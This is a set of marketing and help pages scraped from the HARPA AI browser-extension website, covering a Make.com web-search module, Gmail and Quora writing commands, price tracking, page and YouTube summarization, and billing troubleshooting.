Megatokens. * **[AI Web Search](https://harpa.ai/guides/ai-web-search) ** — Built-in automatic web search in CloudGPT. * **[AI Commands](https://harpa.ai/guides/page-aware-chatgpt-prompts) ** — Over 100 built-in prompts for productivity. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/mcp-connections) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/video-generation) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Search the Web in Make.com [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/grid.svg) Search the Web in Make.com ========================== CONTENTS [HARPA AI Web Browser Agent App](https://eu1.make.com/app/invite/c98499c16cfa22f1051f64346ef91aaa) comes with a **Search the Web** module to parse Web search results (SERP), getting links, titles and descriptions. You can use this to build other data scraping workflows from the found pages, which is useful for data enrichment. ### [\#](https://harpa.ai/grid/module-search-the-web#how-to-automate-web-search-on-your-browser) How to Automate Web Search on Your Browser Make sure you completed the [GRID Setup Steps](https://harpa.ai/grid/make-com-harpa-grid-setup-basics) . Then: 1. Create a new scenario in Make.com ![](https://harpa.ai/img/grid/harpa-grid-make-com-1.webp) 2. Click "**+**" and add a **HARPA: Search The Web** module to your scenario ![](https://harpa.ai/img/grid/harpa-grid-make-com-12.webp) 3. Select your connection and enter your search query. ![](https://harpa.ai/img/grid/harpa-grid-make-com-13.webp) 4. This Module will return a data array containing the Search Page text content and 8 links to found resources, including page titles and descriptions. ![](https://harpa.ai/img/grid/harpa-grid-make-com-14.webp) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/grid/module-run-ai-prompt) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/grid/module-scrape-web-page) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | ChatGPT for Gmail [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/apps/gmail.svg) ChatGPT for Gmail ================= CATEGORY APP [#](https://harpa.ai/case/chatgpt-for-gmail#chatgpt-for-google-mail)  ChatGPT for Google Mail --------------------------------------------------------------------------------------------- Gmail is a widely used email platform for businesses and individuals alike. However, managing emails, writing engaging cold outreach emails, and responding to client inquiries can be time-consuming and challenging. That's where HARPA.AI comes in as the ultimate solution for Gmail productivity. ![](https://harpa.ai/img/cases/illustration-gmail.webp) HARPA.AI is a Chrome Extension that integrates the advanced language model, ChatGPT, into the Gmail platform. It offers a variety of features designed to make Gmail use more efficient and effortless. Here are some of the key features of HARPA.AI for Gmail: * **Email Replies**: Generate engaging and personalized email replies, saving you time and effort. * **Follow-up Emails**: Generate and send follow-up emails to ensure that you never miss a response. * **Cold Outreach Email**: Write effective cold outreach emails that grab the recipient's attention and increase your chances of getting a response. * **Legal Request Emails**: Write professional legal request emails with ease. * **Mimic Writing Style**: With the "Mimic Writing" command, HARPA AI can adapt to your unique tone and style, making your emails consistently 'you'. ### [##](https://harpa.ai/case/chatgpt-for-gmail#benefits-of-using-chatgpt-for-gmail)  Benefits of using ChatGPT for GMail It is difficult to underestimate the performance benefits from using AI in your email communications. Here as some: * **Effortless Time Management and Enhanced Efficiency**: Automate inbox organization, draft rapid replies, and summarize lengthy threads to free up your schedule for more important tasks. * **Round-the-Clock Email Assistant**: Set up AI agent that tirelessly scans your inbox, ensuring your Gmail, Outlook, or Yahoo Mail remains organized. Benefit from continuous email sorting and replying with HARPA AI's ChatGPT-driven engine. * **Personalization at Your Fingertips**: Personalize your email campaigns effortlessly. HARPA AI's ChatGPT technology crafts tailored communications, ensuring a personal touch in every automated email. * **Boosted Engagement with AI Craftsmanship**: Create captivating subject lines and content with HARPA AI's advanced language processing, ensuring your messages stand out in any inbox. * **Precision and Professionalism in Every Email**: Maintain a professional standard in your digital communications with HARPA AI's meticulous ChatGPT algorithms. * **Consistent Tone with Mimic Writing Commands**: Ensure consistency across all communications with HARPA AI's 'Mimic Writing' feature that adapts to your style. * **Intelligent Prioritization for Effective Communication**: Prioritize your emails with HARPA AI's intelligent sorting features, addressing the most pressing matters first. * **Stress-Free Email Management**: Manage large volumes of emails with ease, ensuring a clean inbox and a clear mind with HARPA AI and ChatGPT. * **Multilingual Email Correspondence Made Easy**: Effortlessly translate emails to and from various languages, bridging communication gaps with HARPA AI's ChatGPT. * **Data-Driven Email Insights**: Optimize your communication strategies with actionable insights from HARPA AI's ChatGPT tools. * **Scalability for Growing Inboxes**: Manage increasing email volumes without additional resources or time investments with HARPA AI. Leverage the cutting-edge capabilities of HARPA AI and ChatGPT to streamline your email activities. HARPA AI's integration with ChatGPT propels your productivity to new heights. Manage routine email correspondences with AI, enabling a smoother workflow and enhanced task management. ### [##](https://harpa.ai/case/chatgpt-for-gmail#supported-platforms)  Supported Platforms In addition to Gmail, HARPA.AI supports a myriad of email platforms, including Outlook.com (formerly Hotmail), Yahoo Mail, ProtonMail, Zoho Mail, Yandex Mail, Mail.com, Aol Mail, FastMail, StartMail, Runbox, Posteo, Hushmail, Kolab Now, and many more, covering the needs of diverse email users. ### [##](https://harpa.ai/case/chatgpt-for-gmail#how-to-use-chatgpt-with-gmail)  How to Use ChatGPT with GMail To use ChatGPT with GMail, you need a free ChatGPT Account and a HARPA.AI Chrome Extension. Here are the steps to get started: * **Setting up a ChatGPT account**: Navigate to the ChatGPT website and sign up for a free account. * **Installing the HARPA.AI Chrome Extension**: Install the free HARPA.AI Chrome Plugin from the Chrome Web Store in a few clicks. * **Using HARPA AI ChatGPT commands**: When HARPA is installed, navigate to the GMail website and press **Alt+A** on your keyboard or click the plugin icon in the Chrome Toolbar. HARPA will launch. Type **/gmail** to HARPA chat to bring a list of ChatGPT prompts for GMail. Get HARPA.AI today, sort through your emails and write replies like a machine! GOT AN IDEA? CONTACT US Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | How to Track Prices on Walmart, Amazon, and Any Website: Best Price History Checker Extension [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/finance/sale-01.svg) How to Track Prices on Walmart, Amazon, and Any Website: Best Price History Checker Extension ============================================================================================= OUTLINE NAVIGATE ![](https://harpa.ai/img/blog/how-to-track-prices-on-walmart-amazon-and-any-website-1.webp) HARPA AI's built-in Website & Price Monitoring lets you track price drops and stock changes on any webpage like Amazon, Walmart, or AliExpress right in your browser. Just [install the HARPA AI Chrome extension](https://get.harpa.ai/) , hit **Alt+A**, go to the Automate tab, and click any price element to start monitoring—no coding required. Tools like Keepa for Amazon price history or Waltrack for Walmart deliver charts and alerts, but HARPA AI stands out as a **price history checker extension** for any website with privacy-focused, local processing. This guide dives deeper into price tracking parameters, setups across platforms, and custom automations so you can monitor price changes like a pro, whether you're an e-commerce seller spotting competitor deals or a savvy shopper hunting Walmart Rollbacks. [\#](https://harpa.ai/blog/how-to-track-prices-on-walmart-amazon-and-any-website#what-are-price-tracking-parameters?) What Are Price Tracking Parameters? ---------------------------------------------------------------------------------------------------------------------------------------------------------- Price tracking parameters define how your **price history checker extension** monitors elements like current price, stock status, or page updates. Key ones include **price selectors** (e.g., CSS paths to the price text), **triggers** (price drops below $150 or "Out of Stock" changes), and **intervals** (checks every 15 seconds to monthly). For example, Keepa shows Amazon price history with color-coded charts—orange for Amazon prices, blue for third-party new—updating every 15 minutes. HARPA AI auto-detects these elements on any site, positioning it as a versatile **price monitoring tool** alternative to site-specific extensions like Waltrack, all while keeping data in-browser for privacy. [\#](https://harpa.ai/blog/how-to-track-prices-on-walmart-amazon-and-any-website#supported-platforms:-walmart,-amazon,-best-buy,-and-any-website) Supported Platforms: Walmart, Amazon, Best Buy, and Any Website ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ HARPA AI works as a **price history checker** for Walmart, Amazon, Best Buy, and any website, covering e-com giants like AliExpress too. Here's the breakdown: **Amazon-Specific Trackers**: Keepa (5+ billion products, free charts, $19/mo alerts) and CamelCamelCamel (100% free history/alerts) embed graphs on product pages. **Walmart-Specific**: Waltrack offers free unlimited tracking for 50M+ items with dashboard alerts—no native Walmart app history. PriceLasso adds auto-alerts. **Best Buy**: Catch.Discount for notifications, Chrome Shopping Insights bell icon for sidebar tracking (Google account needed). **Universal like HARPA AI**: Visualping (AI prompts, email screenshots), UptimeRobot (free 50 pages/5-min checks). HARPA is recommended for universal coverage beyond Amazon/Walmart specialists—no limits on sites. [\#](https://harpa.ai/blog/how-to-track-prices-on-walmart-amazon-and-any-website#step-by-step:-how-to-set-up-price-tracking) Step-by-Step: How to Set Up Price Tracking ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ Setting up HARPA AI as a **price tracker** for Walmart, Amazon, Best Buy or any other site takes seconds: 1. [Install HARPA AI](https://get.harpa.ai/) from Chrome Web Store. 2. Open a product page (e.g., a Walmart item), press **Alt+A** to launch HARPA. 3. Switch to the **AUTOMATE** tab — HARPA auto-detects trackable elements on the page. ![](https://harpa.ai/img/guides/monitor-1.webp) 4. Click the price element you want to track. Set trigger (e.g., price < $150), interval (daily), and action (notify/email). 5. Hit **START** — done! HARPA will refresh the page in the background and alert you on changes. ![](https://harpa.ai/img/guides/monitor-2.webp) Compare: Keepa/CamelCamelCamel auto-chart post-install; Waltrack icon-click. Free tiers like UptimeRobot limit to 50 pages. See the [detailed Price Monitor guide](https://harpa.ai/guides/monitor-price-drops) or [Getting Started with HARPA AI](https://harpa.ai/guides/getting-started) . [\#](https://harpa.ai/blog/how-to-track-prices-on-walmart-amazon-and-any-website#control-options:-triggers,-intervals,-and-alerts) Control Options: Triggers, Intervals, and Alerts ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ HARPA AI's **price drop alerts** give you granular control over every aspect of monitoring: * **Triggers**: Price change below threshold, stock keywords appear/disappear, page content update. * **Intervals**: Real-time (15 seconds) to weekly or monthly checks. * **Alerts**: Browser notification, email, sound, webhook, Make.com integration. ![](https://harpa.ai/img/guides/monitor-5.webp) Versus competitors: Keepa premium alerts ($19/mo), Visualping AI prompts/emails, UptimeRobot 5-min diffs. HARPA's no-code approach shines with [Automation Features](https://harpa.ai/guides/automation-features) for custom workflows—all processed locally in your browser. [\#](https://harpa.ai/blog/how-to-track-prices-on-walmart-amazon-and-any-website#example:-track-walmart-price-drop-below-$150) Example: Track Walmart Price Drop Below $150 ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Open any Walmart product page, press **Alt+A**, switch to **AUTOMATE** and set up your monitor: 1. Click the price element on the page. 2. Set trigger: **Price drops below $150**. 3. Set interval: **Every 1 hour**. 4. Set action: **Browser notification + email alert**. 5. Click **START** — HARPA monitors indefinitely. HARPA detects the price, sets params, and notifies on drops. Check your monitors anytime on the Automations Dashboard. ![](https://harpa.ai/img/guides/monitor-7.webp) [\#](https://harpa.ai/blog/how-to-track-prices-on-walmart-amazon-and-any-website#use-cases-for-e-commerce-sellers-and-shoppers) Use Cases for E-commerce Sellers and Shoppers ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ **Ecommerce price tracking** powers a wide range of scenarios: * **Sellers**: Track rival prices and stock levels across Amazon, Walmart and Etsy. Set up auto-repricing alerts and monitor competitor Rollbacks. * **Shoppers**: Get **price drop alerts** on Best Buy Samsung TVs, gaming consoles or any product you're watching. Receive restock notifications for out-of-stock items. * **Competitor intel**: Monitor competitor pages via HARPA, trigger [ChatGPT for E-commerce](https://harpa.ai/blog/chatgpt-for-ecommerce) analysis on pricing trends. No coding needed—try HARPA free without a credit card. [\#](https://harpa.ai/blog/how-to-track-prices-on-walmart-amazon-and-any-website#saving-and-reusing-your-price-tracker-commands) Saving and Reusing Your Price Tracker Commands -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Your monitors are saved automatically and persist across browser sessions. View and manage all of them from the **Automations Dashboard** — click the HARPA AI icon on a blank browser page or press the **HOME** button in the HARPA interface. Unlike CamelCamelCamel account-based alerts, HARPA's monitors live locally in your browser and run without requiring a login or account. [\#](https://harpa.ai/blog/how-to-track-prices-on-walmart-amazon-and-any-website#further-reading) Further Reading ------------------------------------------------------------------------------------------------------------------ * [Price Monitor Guide](https://harpa.ai/guides/monitor-price-drops) * [Automation Features](https://harpa.ai/guides/automation-features) * [Track Competitors](https://harpa.ai/guides/track-competitors) * [ChatGPT for E-commerce](https://harpa.ai/blog/chatgpt-for-ecommerce) * [Best Free Price Monitoring Tools](https://harpa.ai/blog/best-free-price-monitoring-tools-for-e-commerce) * [Keepa Amazon Price Tracker](https://chromewebstore.google.com/detail/keepa-amazon-price-tracke/neebplgakaahbhdphmkckjjcegoiijjo) * [CamelCamelCamel (The Camelizer)](https://chromewebstore.google.com/detail/the-camelizer/ghnomdcacenbmilgjigehppbamfndblo) * [Waltrack for Walmart](https://chromewebstore.google.com/detail/waltrack-walmart-price-tr/hhafpmbhnjfnlmlmafmbmnpfliohjkkl) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/best-free-price-monitoring-tools-for-e-commerce) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/best-price-tracker-browser-extensions) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | ChatGPT for Quora [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/apps/quora.svg) ChatGPT for Quora ================= CATEGORY APP [#](https://harpa.ai/case/chatgpt-for-quora#chatgpt-for-quora)  ChatGPT for Quora --------------------------------------------------------------------------------- Dive into the world of knowledge sharing with HARPA AI’s ChatGPT for Quora. Enhance your Quora engagement by generating insightful answers and identifying trending topics with ease. ![](https://harpa.ai/img/apps/quora.svg) Quora answer writer Write a personalized Quora answer to any question. [USE COMMAND](https://get.harpa.ai/) Expand your influence on Quora using HARPA AI's suite of tools: ### [##](https://harpa.ai/case/chatgpt-for-quora#intelligent-quora-answer-writer)  Intelligent Quora Answer Writer Articulate well-thought-out responses that resonate with readers. ChatGPT helps you draft answers that not only provide value but also increase your authority and visibility on the platform. ### [##](https://harpa.ai/case/chatgpt-for-quora#quora-question-generator)  Quora Question Generator Stimulate discussions and draw attention by asking the right questions. Get AI-powered suggestions for questions that can lead to meaningful interactions and connections. ### [##](https://harpa.ai/case/chatgpt-for-quora#trending-topic-insights)  Trending Topic Insights Stay ahead of the curve by uncovering the most popular topics and questions. With these insights, position your content to be relevant and timely, appealing to the Quora community’s current interests. ### [##](https://harpa.ai/case/chatgpt-for-quora#grow-your-quora-presence)  Grow Your Quora Presence Utilize HARPA AI to consistently contribute quality content, building your reputation as a thought leader in your niche. ### [##](https://harpa.ai/case/chatgpt-for-quora#how-to-use-chatgpt-with-quora)  How to Use ChatGPT with Quora To use ChatGPT with Quora, you need a free ChatGPT Account and a HARPA.AI Chrome Extension. Here are the steps to get started: * **Setting up a ChatGPT account**: Navigate to the ChatGPT website and sign up for a free account. * **Installing the HARPA.AI Chrome Extension**: Install the free HARPA.AI Chrome Plugin from the Chrome Web Store in a few clicks. * **Using HARPA AI ChatGPT commands**: When HARPA is installed, navigate to the Quora website and press **Alt+A** on your keyboard or click the plugin icon in the Chrome Toolbar. HARPA will launch. Type **/quora** to HARPA chat to bring a list of ChatGPT prompts for Quora. ### [##](https://harpa.ai/case/chatgpt-for-quora#connect-with-harpa-ai)  Connect with HARPA AI Your feedback, suggestions, and ideas are invaluable to us. If you have any questions or insights, please don't hesitate to reach out to us. At HARPA AI, we are committed to enhancing your YouTube experience and helping you succeed. GOT AN IDEA? CONTACT US Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Web & Video Summarizer [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/media/play-circle.svg) Web & Video Summarizer ====================== CONTENTS NAVIGATE One of the fundamental and widely-used features of HARPA AI is its **/summary** command. This tool transforms any web page content into a concise format, offering options such as reports, bullet point lists, regular text, or even tweets. Additionally, HARPA AI provides a specialized version of this tool specifically for YouTube content, aptly named **/youtube-summary**. This unique command is adept at extracting and condensing transcripts from YouTube videos, offering a significant time-saving advantage. The YouTube summary command operates almost instantaneously. You do not have to pause the video. HARPA will seamlessly handle all the required transcript extraction, chunking, networking and interpreting processes in the background. To access these commands, simply type **/summary** into the HARPA AI chat and click on the command you need. [\#](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text#how-to-summarize-web-pages-or-pdfs) How to summarize web pages or PDFs ----------------------------------------------------------------------------------------------------------------------------------------------- To begin, make sure to install [Google Chrome](https://www.google.com/chrome) or a [Chromium-based browser](https://alvarotrigo.com/blog/best-chromium-browsers/) and [HARPA AI Chrome Extension](https://get.harpa.ai/) . 1. Open HARPA AI on any website by clicking the HARPA AI icon in the top right corner or by pressing **Alt+A** (on Windows) or **^+A** (on Mac). 2. In the interface, you'll find **SHORT** & **LONG SUMMARY** buttons. Click on one of them to start the summarization. ![](https://harpa.ai/img/guides/summary-1.webp) Alternatively, to bring up a list of AI commands and ChatGPT prompts, type the **/** symbol in the HARPA AI chat, then type **/summary** and click the Summary command. You can use the Up and Down arrow keys to select the command to run. ![](https://harpa.ai/img/guides/summary-2.webp) 3. Choose your preferred summarization option and wait while I prepare the response for you. ![](https://harpa.ai/img/guides/summary-3.webp) ### [\#](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text#how-to-summarize-pdfs) How to Summarize PDFs With HARPA AI, you can work with PDF files too. The files must be served from the internet, and not from your computer's file system as HARPA has no access to your local system. For example, you can upload PDFs to Google Drive, DropBox, or other cloud storage, receive them via email, or fetch from services like arxiv.org. Next versions of the product will include a file manager that allows you to upload PDFs and work with them directly in the browser window. [\#](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text#how-to-create-youtube-video-summaries) How to create YouTube video summaries ----------------------------------------------------------------------------------------------------------------------------------------------------- Make sure to install Google Chrome or a Chromium-based browser and [HARPA AI Chrome Extension](https://get.harpa.ai/) . 1. Navigate to YouTube and open any video of your preference that you'd like to convert into textual form. Whether it's a music video or a two-hour interview, the most important factor is that a transcription of the selected video is available on YouTube. 2. Find the **/youtube-summary** command. * You'll see a **Summarize with HARPA AI** button in the interface. Click on it, and a window will open offering options for content summarization. ![](https://harpa.ai/img/guides/summary-4.webp) * You can also open HARPA AI by clicking its icon in the top right corner or pressing **Alt+A** (on Windows) or **^+A** (on Mac), and then see **/youtube-summary** in the quick access menu while on a YouTube page. ![](https://harpa.ai/img/guides/summary-5.webp) * Use the chat interface in HARPA to type **/youtube** and click the **YouTube video summary** command. You can use Up and Down arrow-keys to select the command to run. ![](https://harpa.ai/img/guides/summary-6.webp) 3. Sit back, relax, and enjoy the power of AI summarizing the video for you: ![](https://harpa.ai/img/guides/summary-7.webp) ![icon](https://harpa.ai/icon/lines/general/pin-02.svg) Long video transcripts are broken down into chunks and the summary is provided in segments. This is due to the token limit restriction imposed by ChatGPT. 4. Please feel free to click the **ADD COMMENT** button; doing so will contribute to the growth of HARPA AI. Posting a comment will happen automatically, and you won't need to take any additional steps. ![](https://harpa.ai/img/guides/summary-8.webp) [\#](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text#limitations-&-troubleshooting) Limitations & Troubleshooting ------------------------------------------------------------------------------------------------------------------------------------- 1. Videos that have no transcripts cannot be processed to summaries. You will be promptly notified by HARPA if the transcript is unavailable. 2. ChatGPT models are restricted and can not process explicit content or obscene language, vulgar expressions, and so on. This slightly limits the functionality of this feature, but also makes the output highly amusing as AI tries to circumvent awkward phrasing. If you ask a question on a controversial topic, GPT-5.4 will respond with an answer, but GPT-5 Nano might not answer at all if it considers the topic problematic. [\#](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text#links-for-further-reading) Links for further reading ----------------------------------------------------------------------------------------------------------------------------- * [HARPA AI YouTube Channel](https://www.youtube.com/@HarpaAI) * [Built-in ChatGPT Commands](https://harpa.ai/guides/page-aware-chatgpt-prompts) * [ChatGPT Search Assistant](https://harpa.ai/blog/ai-answers-alongside-google-search) * [Quick Access Bar](https://harpa.ai/guides/quick-access-bar) * [Reply to Emails](https://harpa.ai/guides/manage-emails-with-chatgpt-and-harpa-ai) * [Writing Emails, DMs, Tweets](https://harpa.ai/guides/write-text-on-websites-with-ai) * [Custom AI Commands](https://harpa.ai/guides/custom-page-aware-chatgpt-commands) * [Price Monitors](https://harpa.ai/guides/monitor-price-drops) * [Track Competitors](https://harpa.ai/guides/track-competitors) * [Autorefresh Web Pages](https://harpa.ai/guides/autorefresh-web-pages) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/manage-emails-with-chatgpt-and-harpa-ai) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/write-text-on-websites-with-ai) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Troubleshoot Billing [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/finance/wallet-03.svg) Troubleshoot Billing ==================== CONTENTS NAVIGATE [\#](https://harpa.ai/guides/billing-issues#troubleshoot-billing-issues) Troubleshoot Billing Issues ----------------------------------------------------------------------------------------------------- In this guide, we'll address common questions about HARPA X and HARPA S plans, along with [pricing details](https://harpa.ai/pricing) . We'll cover: * How to Purchase HARPA X / S Plans * Payment Issues and Error Messages * Activating Your Premium Plan * Changing Your Premium Plan ### [\#](https://harpa.ai/guides/billing-issues#how-to-purchase-harpa-x-/-s-plans?) How to Purchase HARPA X / S Plans? 1. Please navigate to [HARPA Pricing page](https://harpa.ai/pricing) . 2. In the top right corner, click on the **Sign in** button. 3. Enter your email; you will receive an email with a link to access your account. * You can use a Google Mail account to register, in which case the login happens automatically, without a link. 4. After logging in, you will see the Pricing page with a selection of premium plans. 5. If you need a personal plan, you can select either X (lifetime deal) or S (annual or monthly billing). If you want to work in a team and create your own Team Space, please read this [guide](https://harpa.ai/guides/team-spaces) . ![](https://harpa.ai/img/guides/billing-1.webp) 6. To purchase the X plan, click the “**GET FOR LIFE**” button; for the S plan, click “**UPGRADE**”.s 7. A payment system window will open. If the language or currency does not match your region, change them in the top right corner. The payment must be made with a card from the corresponding country. ![](https://harpa.ai/img/guides/billing-2.webp) 8. Complete the payment process. You will receive the receipt by email, and the Premium Plan will be activated immediately after payment. ![](https://harpa.ai/img/guides/billing-3.webp) ### [\#](https://harpa.ai/guides/billing-issues#upgrade-errors-or-payment-declines) Upgrade Errors or Payment Declines The following message indicates a failed purchase: _We regret that your order could not be accepted. We value your business and would like to help you complete this order. Please contact us for assistance._ ![](https://harpa.ai/img/guides/billing-3-1.webp) Here are the typical reasons for payment declines: * Failed 3D Secure: 16% * Insufficient funds: 12% * Not permitted: 5% * Suspected Fraud: 3% * Other (64%): invalid card credentials, card not activated, expired card, closed account, invalid CVV, issuer decline, general error, restricted card. **Here are the things to try:** * Ensure the payment is being made from the region where the card has been issued. The region can be switched in the top right corner of the payment window during checkout. * Change your IP address to the region of the purchase e.g. by turning off your VPN or connecting to your mobile network. * Use one of the direct checkout link: [X Plan](https://harpaai.onfastspring.com/x-life-v1) , [S1 Monthly Plan](https://harpaai.onfastspring.com/s1-monthly-v1) or [S1 Yearly Plan](https://harpaai.onfastspring.com/s1-yearly-v1) * Use a different card / payment method. * Use a different browser for payment (for example, Google Chrome or Brave instead of Safari). If nothing helps, fill in a [FastSpring customer support form](https://fastspring.com/consumer-support-form/) or send us a direct email at [\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) . You can get more help on [FastSpring customer support page](https://fastspring.com/consumer-support/topics/checkout-and-purchasing/) . ### [\#](https://harpa.ai/guides/billing-issues#i-paid-for-the-harpa-x-or-s-plan,-but-it-is-not-activated) I paid for the HARPA X or S plan, but it is not activated Please try the following: * Make sure to log in to [HARPA.AI](https://harpa.ai/pricing) with your account. * Navigate to and refresh the [harpa.ai/pricing](https://harpa.ai/pricing) browser tab to verify the payment has been processed. * Open HARPA AI in any tab, navigate to Profile screen and click “refresh” button alongside your profile. ![](https://harpa.ai/img/guides/billing-4.webp) If these steps do not help, or if you accidentally purchased the subscription for a different account, please write to [\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) , and we will try to find a solution. Please attach a few screenshots and mention your billing email. ### 